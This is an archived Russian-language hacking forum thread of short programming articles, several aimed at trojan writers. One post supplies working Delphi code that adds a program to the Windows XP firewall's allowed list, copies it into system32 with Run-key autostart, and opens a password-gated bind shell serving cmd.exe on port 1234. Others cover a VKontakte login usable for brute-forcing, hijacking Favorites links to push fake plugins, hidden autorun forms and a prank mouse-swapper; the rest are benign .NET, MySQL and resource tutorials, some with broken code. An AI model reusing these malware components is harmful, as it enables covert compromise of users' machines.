ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Vkontakte авторизация [DELPHI] |

26.07.2008, 15:37
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Vkontakte авторизация [DELPHI]
Vkontakte авторизация [DELPHI (WinSock) ]
***
[intro]
По многочисленным просьбам в ПМ, написал мини статейку про авторизацию на сайте vkontakte.ru (Все на сокетах.)
[Исходный код с комментариями]
глобальная переменная.
Код:
var
sBuff:array [1..6000] of char;//буфер для хранения полученного заголовка страницы
//-------------------------------------------------------
Код:
procedure Err(n:integer);//Функция обработки ошибок
begin if n<>0 then
begin
MessageBox(0,pchar('Error #'+inttostr(WSAGetLastError)),'Error',mb_ok);
halt
end
end;
//-------------------------------------------------------
Код:
function CopyCookie(s,sBuff:string):string;//Функция для копирования cookie(страница 302)
var
text:string;
i:integer;
Begin
text:='';
For i:=pos(s+'=',sBuff) to Length(sBuff) Do
Begin
If sBuff[i]<>';' then text:=text+sBuff[i] else Break;
End;
Result:=text;
End;
//-------------------------------------------------------
Код:
function redirect(sBuff:string):string;//Функция для выдирания id, из set-cookie
var
text:string;
Begin
text:=trim(copy(sBuff,pos('/id',sBuff),pos('Content-Encoding',sBuff)-pos('/id',sBuff)));
result:=text;
End;
//-------------------------------------------------------
Описываем переменные.
Код:
var
wData:WSAData;
s:TSOCKET;
addr:sockaddr_in;
email,pass,sendbuff:string;//мыло, пасс, пакет для отправки пост или гет запросов
PostData:string;//отправляемые данные, мыло с пассом
//-------------------------------------------------------
Начинаем, пытаемся загрузить библиотеку.
Код:
Begin
email:=Edit1.Text;//мыло
pass:=Edit2.Text;//пасс
if WSAStartup(makeword(1,1),wData)<>0 then
Begin
ShowMessage('нет носков');
exit;
End;
Создаем сокет, коннектимся.
Код:
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family:=AF_Inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr('195.190.105.238');//IP vkontakte.ru
Err(Connect(S,addr,SizeOf(TSockAddr)));
PostData := '';
PostData := 'email=' + email+'&'+'pass='+pass ;
sendbuff := '';
Формируем запрос(POST), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:
//Формируем пост запрос
sendbuff := 'POST /login.php HTTP/1.1'+ #13#10 +
'Host: vkontakte.ru'+ #13#10 +
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
'Accept-Encoding: gzip,deflate'+ #13#10 +
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Connection: keep-alive'+ #13#10 +
'Referer: http://vkontakte.ru/index.php'+ #13#10 +
'Cookie: remixchk=5'+ #13#10 +
'Content-Type: application/x-www-form-urlencoded'+ #13#10 +
'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData+#13#10+'Connection: close' + #13#10#13#10;
send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
application.ProcessMessages;
recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
application.ProcessMessages;
Memo1.Text:=sBuff;
//-------------------------------------------------------
Закрываем сокет.
Код:
Err(Shutdown(S,SD_Send));
Err(closesocket(s));
//Для написания брутфорса этого было бы достаточно просто выдрали из Set-cookie id пользователя с помощью функции Redirect и все...
example
Код:
Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
Но для сбора инфы пользователя, дл отправки сообщений на стены, для приглашения в друзья и т.д. этого не достаточно... (сами разберетесь не сложно )
Поэтому просто покажу как попасть в свой профиль):
Формируем запрос(GET), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Connect(S,addr,SizeOf(TSockAddr));
sendbuff:='';
application.ProcessMessages;
Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
//Формируем гет запрос
sendbuff :='GET '+redirect(sBuff)+ ' HTTP/1.1'+ #13#10 +
'Host: vkontakte.ru'+ #13#10 +
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
'Accept-Encoding: gzip,deflate'+ #13#10 +
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Connection: keep-alive'+ #13#10 +
'Referer: http://vkontakte.ru/index.php'+ #13#10 +
'Cookie: '+CopyCookie('remixchk',sBuff)+';'+' '+CopyCookie('remixmid',sBuff)+';'+' '+CopyCookie('remixemail',sBuff)+';'+' '+CopyCookie('remixpass',sBuff)+ #13#10+ #13#10;
send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
application.ProcessMessages;
recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
application.ProcessMessages;
Memo1.Lines.Add('Мы обошли страницу 302'+#13#10+#13#10+sBuff);//Записываем в Memo1 полученные заголовки
//-------------------------------------------------------
[ВСЕ ]
На статью может и не тянет, но просьбу некоторых форумчан я выполнил), да и для многих думаю будет полезным(для новичков)...
А так ждем пополнения этого топика, хорошими статейками, что бы многим было интересно почитать.
(здесь постим только статьи, обсуждения не здесь. За дальнейшее использование статьи, автор никакой ответственности не несет...)
Исходник и экзешник:
ЗДЕСЬ
Последний раз редактировалось De-visible; 12.11.2008 в 18:43..
|
|
|

23.09.2008, 21:43
|
|
Новичок
Регистрация: 03.07.2007
Сообщений: 18
Провел на форуме: 98311
Репутация:
28
|
|
Папка "Избранное", скрытая угроза!
На статью это конечно не сильно потянет, но маза имеется. Почему-то все трояно- писатели стремятся подменить запросы которые выдает ему поисковик. Временами это доходит до фанатизма и технологии усложняются. Но мы с вами лентяи и рассмотрим незаслуженно забытых «любителей» избранного. Папочка Favorites, вот кладезь нетленная. Ведь юзер сохранив название понравившейся странички, совершенно не помнит адреса. А если это порно страница? И можно попросить пользователя установить плагин для отображения содержимого? Просто рай какой-то. Итак, код прост. Для простоты юзаем WinAPI функции, файлики с расширением .url и ini по сути одно и тоже…
Код:
::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default, LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);
::WritePrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPTSTR String, LPCTSTR FileName);
Погуглив на наличие подобного в интернете и нашел только 1 ссылку, но и та на момент написания статьи не работала. Так что копирайт античату. И никто не несет ответственности за использования описанных методов.
С уважением merax.
Последний раз редактировалось merax; 23.09.2008 в 21:45..
|
|
|

27.09.2008, 19:07
|
|
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме: 800727
Репутация:
83
|
|
Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть
Delphi code:
создаем обработчик для формы и в нем прописываем:
PHP код:
AlphaBlend:=true;
AlphaBlendValue:=100;
Сей код делает форму только прозрачной!!! AlphaBlendValue - показатель прозрачности например, если вы сделаете его 10, то вообще не видно
Также, если мы не хотим, чтобы человек закрыл или запалил прогу, свернув её
настройте показатели формы BorderIcons везде на False.
Спасибо, за то что потратили время на чтение.
Ещё одна mini-статья по Делфи:
Пойдет речь о том как добавить свою delphi программу в автозапуск или cделать так что бы она запускалась при каждом страте Windows. Для этого нам нужно добавить некоторые записи в реестр Windows. Для начала, в раздел uses добавляем RegisTry. В любом обработчике событий (можно в OnCreate у формы или в OnClick у кнопки) прописываем код приведенный ниже.
PHP код:
var reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('progrmma', application.exename); {вместо programma можно вставить что нибудь своё}
reg.closekey;
reg.free;
end;
-----------
De-V: Одобрено.
Последний раз редактировалось De-visible; 27.09.2008 в 19:44..
|
|
|

03.10.2008, 16:05
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
И так приступим.
1) Обход встроенного в винду фаервола:
Добавляет саму себя в обход фаера
Код:
procedure fuck_xpfw;
var
key:longword;
ValueName:array[0..255] of char;
Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';
begin
if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
Value:=ValueName+':*:Enabled:RPC';
RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
RegCloseKey(key);
end;
2) Копирование себя в windows и прописывает в автозагрузке:
Код:
function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;
procedure install(name,about:string);
var
key:longword;
s:string;
begin
s:=windir+'\system32\'+name;
CopyFile(pchar(paramstr(0)),pchar(s),false);
RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
RegCloseKey(Key);
end;
3) Проверка на повторную загрузку:
Код:
function isRun:boolean;
begin
CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
if GetLastError=183 then result:=true else result:=false;
end;
4) Шелл:
C авторизацией
Код:
procedure RunShell;
const
PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
begin
cl:=accept(sock,caddr,addrlen);
if cl=INVALID_SOCKET then continue;
s:='';
repeat
l:=recv(cl,c,1,0);
s:=s+c;
if length(s)>16 then l:=-1;
until (l<=0) or (s=LOGIN);
if l<=0 then
begin
closesocket(cl);
continue;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=cl;
StartupInfo.hStdOutput:=cl;
StartupInfo.hStdError:=cl;
CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;
|
|
|

23.11.2008, 00:03
|
|
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме: 5812656
Репутация:
1540
|
|
Недавно столкнулся с проблемой работы с drag&drop для произвольных объектов. Решил тут кратенько описать что к чему.
По настоящему всё просто. Для объектов windows forms есть реализация drag&drop(сейчас не об этом).Возьмём к примеру программу которая будет строить многоугольник.И сделаем так чтобы каждую вершину можно drag&drop'ить.
Заведём в нашем классе следующее: - private int DDPoint; - точка которую перетаскиваем в данный момент
- private bool DragDropFlag; - флаг того что пользователь "тащит".
- List<Point> PointList = new List<Point>(); - список точек
добавление точек в многоугольник и отрисовку его писать здесь не буду.
Для начала обработаем нажатие копки(не путать с кликом,клик = нажал и отпустил)
Код:
private void Form1_MouseDown(object sender, MouseEventArgs e)
{
if (PointList.Count > 1)
{
for (int i = 0; i < PointList.Count; i++) //перебираем точки
{
if (e.X <= PointList[i].x + 20 && e.X >= PointList[i].x - 20 && e.Y <= PointList[i].y + 20 && e.Y >= PointList[i].y - 20) //проверка,не нажали ли на точку
{
DDPoint = i;
DragDropFlag = true; //если да,то ставим i-ую точку как точку которую мы двигаем и возводим флаг
label1.Text = "Sex,drugs, drag and drop!"; //фетиш
}
if (DragDropFlag == true) break;
}
}
} }
Теперь рассмотрим движение мышки:
Код:
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
if (DragDropFlag == true) //если поднят флаг
{
PointList[DDPoint].x = e.X;
PointList[DDPoint].y = e.Y; //меняем x,y нужной точки
label1.Text = "Drugs,sex drag and drop!";
Refresh(); //перерисовываем
}
else label1.Text = "Координаты: " + e.X + ";" + e.Y;
}
ну и поднятие мышки:
Код:
private void Form1_MouseUp(object sender, MouseEventArgs e)
{
DragDropFlag = false;
}
Хочу добавить что было бы неплохо добавить Double buffering:
Код:
private void Form1_Paint(object sender, PaintEventArgs e)
{
DoubleBuffered = true;
......
Скачать исходник
|
|
|
Ну кагбе хекаем мышку ламера=)) |

16.12.2008, 21:15
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
Ну кагбе хекаем мышку ламера=))
Взлом компьютерной мышки=))
Вот начал я изучать ассембер и не удержался чтоб не написать какую то программу шутку  .Эта программа не повредит компьютеру, а только изменит расположение кнопок мыши и напугает ламера  ).
Что нам потребуется:
1)Компилятор masm32 или tasm, разница в синтаксисе минимальна но советую взять masm32, потому что объяснять я буду именно по нему.
2)Любой текстовый редактор.
3)Прямые руки и голова на плечах.
Первые строки.
Код:
.386
.model flat,stdcall
option casemap:none
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
include C:\masm32\INCLUDE\ADVAPI32.INC
includelib C:\masm32\lib\comctl32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\advapi32.lib
Разберемся в вышенаписаном:
.386-этой строкой мы говорим нашему компиятору, что намеpеваемся использовать набоp инстpукций пpоцессоpа 80386. .Model flat, stdcall говоpит MASM'у, что наша пpогpамма будет использовать плоскую модель памяти.
Далее мы подгружаем инклудники и библиотеки.
.data
В области дaнных у нас будет 2 строки:
Код:
strHack db "I hacked you mouse!",0
Они выведут текст "I hacked you mouse!"
.CODE
В области кода мы имеем:
Код:
start:
invoke SwapMouseButton,1
invoke MessageBox, 0 , addr strHack, addr strHack , 0
exit:
invoke ExitProcess , 0
Давайте разберем все по полочкам.
start:– указывает на начало исполняемого кода.
invoke SwapMouseButton,0– прикрепляем API функцию SwapMouseButton с параметром 1(Эта функция и меняет кнопки мыши местами).
invoke MessageBox, 0 , addr strHack, addr strHack , 0 – эта API функция выводит окно с сообщением.
addr strHack указывает на текст сообщения который мы указали выше.
exit: - указывает на код завершения программы.
invoke ExitProcess , 0 – завершение программы после нажатия кнопки ok.
Ну и самая последняя строка- это end start – она указывает на конец участка кода.
Вот мы и закончили с программной частью.
Компиляция.
Для компиляции нашей программы мы напишем 2 простеньких батника, что бы не мучатся каждый раз вбивая комманду в консоли...
Первый батник:
Код:
@ echo ----OBJ----
@ c:\masm32\bin\ml.exe /coff /c .\ISHODNIC\mouse.asm
Его и запускаем первым.
Второй:
Код:
@ echo ----EXE----
@ if EXIST pirat.obj c:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS .\mouse.obj
Если в написание кода вы не допустили ошибок,то программа скомпилится удачно.Можети идти разводить ламеров=))
Теперь давайте разберемся как от этого избавится.
А это предельно просто:
Замените параметр SwapMouseButton с 1 на 0 и всё.
Вот мы и написали простинький «Вирус» и «Антивирус».
Полный текст программы:
Код:
.386
.model flat,stdcall
option casemap:nonе
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
include C:\masm32\INCLUDE\ADVAPI32.INC
includelib C:\masm32\lib\comctl32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\advapi32.lib
.data
HINST DWORD 0
strHack db "I hacked you mouse!",0
.code
start:
invoke SwapMouseButton,0
invoke MessageBox, 0 , addr strHack, addr strHack , 0
exit:
invoke ExitProcess , 0
end start
Ну вот и всё!
С вами был m0rgan.
Удачи во всех начинаниях!
P.S.:Статейка расчитана на (!!!)новичков в асме...
|
|
|
Использование плагинов в .NET |

20.12.2008, 10:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
Использование плагинов в .NET
Введение
Данный материал ни на что не претендует.
Сегодня просто стало интересно, как же использовать плагины в .NET?
Если в Win32 это LoadLibrary & GetProcAddr, то в .NET это ...?
P.S. надеюсь орфографических ошибок не будет =)
ссылка на сорцы и бинарники - http://www.sendspace.com/file/72o96u
Требования: .NET Framework 2.0
Извиняюсь за отсутствие комментов в коде
На чем будет все базироваться?
Грубо говоря все основывается на интерфейсе, который должен быть реализован в плагине.
Расмотрим интерфейс который я использовал:
PHP код:
public interface IPlugin
{
string Description { get;}
object Calc(int x, int y);
}
Тут 2 поля.
1 - string Description - аксессор. Возращает описание плагина;
2 - object Calc - функция. Принимает 2 параметра int типа, возвращает объект - object, который можно конвертнуть в необходимый.
Данная библиотека добавляется в ссылки и в лоадере и в плагине.
Лоадер
Собственно вот и лоадер...
Что он из себя представляет? Обычное WinForm приложение.
Создаем экземпляр объекта Hashtable;
PHP код:
readonly Hashtable plugins = new Hashtable();
Ниже приведу список методов и описание:
private void GetPlugins() - данная функция ищет плагины (об этом поподробнее ниже)
private void button1_Click - обработчик нажатия на кнопку (иницирует работу плагина (точнее его метод, реализация интерфейса))
PHP код:
private void GetPlugins()
{
string[] files = Directory.GetFiles(Application.StartupPath, "*.dll"); //получаем файлы с расширением dll в папке откуда был запущен Exe
foreach (string file in files)
{
try
{
Assembly assembly = Assembly.LoadFile(file);//загружаем сборку
foreach (Type type in assembly.GetTypes())
{
Type f = type.GetInterface("Core.IPlugin"); //попытаемся получить интерфейс
if (f != null)
{
IPlugin plugin = (IPlugin) Activator.CreateInstance(type);
plugins.Add(plugin.Description, plugin); //Добавление интерфейса
comboBox1.Items.Add(plugin.Description); //В список добавляем описание плагина
ListViewItem item = new ListViewItem();
item.Text = file;
item.SubItems.Add(plugin.Description);
listView1.Items.Add(item);
}
}
}
catch (Exception ex)
{
MessageBox.Show("Ошибка загрузки плагина\n" + ex.Message); //опс... =(
}
}
}
Реализация плагина
PHP код:
public class Class1:IPlugin //наследование интерфейса
{
public string Description //описание
{
get
{
return "Plugin1 description";
}
}
public object Calc(int x, int y) //реализация метода
{
return x + y;
}
Наследуем интерфейс и реализуем...
Конец
ну вот и все...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
используем Parallel Extensions для .Net |

21.12.2008, 13:27
|
|
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
Провел на форуме: 1027635
Репутация:
234
|
|
используем Parallel Extensions для .Net
Parallel Extensions это небольшое дополнение к библиотеке System.Threading, которое позволяет на высоком уровне выполнять задачи на всех доступных ядрах/процессорах.
История
Библиотека Parallel Extensions (PE) — совместный проект команды .Net и Microsoft Research — впервые увидела свет 29 ноября 2007 года. Она создана для того, чтобы разработчики могли пользоваться современными многоядерными архитектурами, не утруждая себя трудоемким управлением потоками. Программы, написанные с применением библиотеки, автоматически используют все доступные ядра системы. Если же программа будет запущена на старом одноядерном компьютере, то выполнение будет происходить последовательно, практически без потерь в производительности. Таким образом, использование PE раскрывает все преимущества многоядерных технологий, сохраняя работоспособность на одноядерных системах.
Последнее обновление библиотеки было в июне 2008 года. Сейчас она имеет статус Community Technology Preview и, скорее всего, войдет в 4 версию .Net.
Состав библиотеки
PE состоит из трех основных компонентов:
* Task Parallel Library (TPL) — предоставляет такие императивные методы, как Parallel.For, Parallel.Foreach и Parallel.Invoke для выполнения параллельных вычислений. Вся работа по созданию и завершению потоков, в зависимости от имеющихся процессоров выполняется библиотекой автоматически.
* Parallel LINQ (PLINQ) — надстройка над LINQ to Objects и LINQ to XML, позволяющая выполнять параллельные запросы. В большинстве случаев достаточно в начале запроса написать AsParallel() для того, чтобы все последующие операторы выполнялись параллельно. Внутренне использует TPL.
* Coordination Data Structures (CDS) — набор структур, который используется для синхронизации и координации выполнения параллельных задач.
Перейдём к примеру:
PHP код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;
class Program
{
private static int nbFiles;
private static int nbMatchFiles;
private const String dirPath = @"D:\_Dev";
private const String pattern = "public";
static void Main(string[] args)
{
Console.WriteLine("Searching for : " + pattern);
nbFiles = 0;
nbMatchFiles = 0;
DateTime start = DateTime.Now;
Console.WriteLine("Search using Standard Processing");
SearchForStandard(dirPath, pattern, true);
Console.WriteLine(string.Format("Total files : {0}", nbFiles));
Console.WriteLine(string.Format("found in files : {0}", nbMatchFiles));
Console.WriteLine(string.Format("Search Duration : {0}", DateTime.Now.Subtract(start).ToString()));
Console.ReadKey();
}
private static void SearchForStandard(string path, string text, bool recurse)
{
foreach (String file in Directory.GetFiles(path, "*.*"))
{
Interlocked.Increment(ref nbFiles);
FindInFile(file, text);
}
if (recurse)
{
foreach (String dir in Directory.GetDirectories(path))
{
SearchForStandard(dir, text, recurse);
}
}
}
private static void FindInFile(string csFilePath, string text)
{
if (File.ReadAllText(csFilePath).IndexOf(text) >= 0)
Interlocked.Increment(ref nbMatchFiles);
}
}
Результат:
Код:
Searching for : public
Search using Standard Processing
Total files : 23210
found in files : 6689
Search Duration : 00:01:17.6940000
Теперь с использованием Parallel Extensions:
PHP код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;
class Program
{
private static int nbFiles;
private static int nbMatchFiles;
private const String dirPath = @"F:\_Dev";
private const String pattern = "public";
static void Main(string[] args)
{
Console.WriteLine("Searching for : " + pattern);
nbFiles = 0;
nbMatchFiles = 0;
DateTime start = DateTime.Now;
Console.WriteLine("Search using Parallel Processing");
SearchForParallel(dirPath, pattern, true);
Console.WriteLine(string.Format("Total files : {0}", nbFiles));
Console.WriteLine(string.Format("found in files : {0}", nbMatchFiles));
Console.WriteLine(string.Format("Search Duration : {0}", DateTime.Now.Subtract(start).ToString()));
}
private static void SearchForParallel(string path, string text, bool recurse)
{
Parallel.ForEach(Directory.GetFiles(path, "*.cs"), csFilePath =>
{
Interlocked.Increment(ref nbFiles);
FindInFile(csFilePath, text);
});
if (recurse)
Parallel.ForEach(Directory.GetDirectories(path),
dirName => SearchForParallel(dirName, text, recurse));
}
private static void FindInFile(string csFilePath, string text)
{
if (File.ReadAllText(csFilePath).IndexOf(text) >= 0)
Interlocked.Increment(ref nbMatchFiles);
}
}
И результат:
Код:
Search using Parallel Processing
Total files : 6708
found in files : 6059
Search Duration : 00:00:02.3510000
Как видим выигрыш в производительности есть, и немалый а от нас потребовалось просто написать Parallel.ForEach вместо обычного ForEach, всё остальное PE делает за нас ;-)
Скачать Parallel Extensions для .Net 3.5
Последний раз редактировалось jawbreaker; 21.12.2008 в 22:01..
|
|
|

28.12.2008, 09:36
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме: 3009843
Репутация:
204
|
|
Введение
Микро Статья для начинающих в кодинге по работе с мукулом.
Думаю будет полезно.Все примеры для
командной строки.
Начнем
Заголовки
Код:
#include <iostream>
#include <mysql++.h>
using namespace std;
using namespace mysqlpp;
Данные для соединения с БД
Код:
int main()
{
const char db[]=”db_name”;//Навзание БД
const char user[]=”username”;//Логин Юзвера
const char password[]=”password”;//Пароль юзера
const char host[]=”localhost”;//Хост
const int pot=”3306”;//Порт
Функция соединения с сервером
Код:
mysqlpp::Connection con(false);//Создадим объект con для соединения с сервером
con.connection(db,host,user,password,port);
if(conection)
{cout”You are connected”;}
else{cout<<"Error";
Запросы
Код:
mysqlpp::Query query = con.query();
query<<”Select*From table_name”;
mysqlpp::Result res = query.store();//Получаем р-ты
Получаем колнки
Код:
if (res) {
char buf[256];
mysqlpp::Row row;
mysqlpp::Row::size_type i;
for (i = 0; row = res.at(i); i++) {
cout << '\t' << utf8trans(row.at(0), buf, sizeof(buf));
}
}
else {
cerr << "Failed to get item list: " << query.error() ;
return 1;
}
return 0;
Заключение
Вот и все основные команды.Стаья не очень,но пишу сам как новичок.
|
|
|
Использование ресурсов (Delphi) |

03.01.2009, 10:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
Использование ресурсов (Delphi)
Введение
куча вопросов по поводу работы с ресурсами, тут приведу лишь 1 вариант извлечение онного...
BRCC32
1. Запускаем блокнот
2. Записываем секцию вида - updater_exe RCDATA updater.exe
3. Сохраняем с расширением rc
4. Открываем консоль. Набираем следующее brcc32 <путь и имя файла (пункт 3)>
5. В итоге должны получить фай с расширением res
{$R <Resource.res>}
1. Создаем проект в Delphi
2. Используя дериктиву $R добавляем использование ресурса... Пример {$R myres.res}
Извлечение ресурса
uses Classes;
...
procedure ExtractRes;
var Res:TResourceStream;
begin
Res:=TResourceStream.Create(HInstance,'updater_exe',RT_RCDATA);
Res.SaveToFile('FileName.exe');
Res.Free;
end;
Happy End
вот и все...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|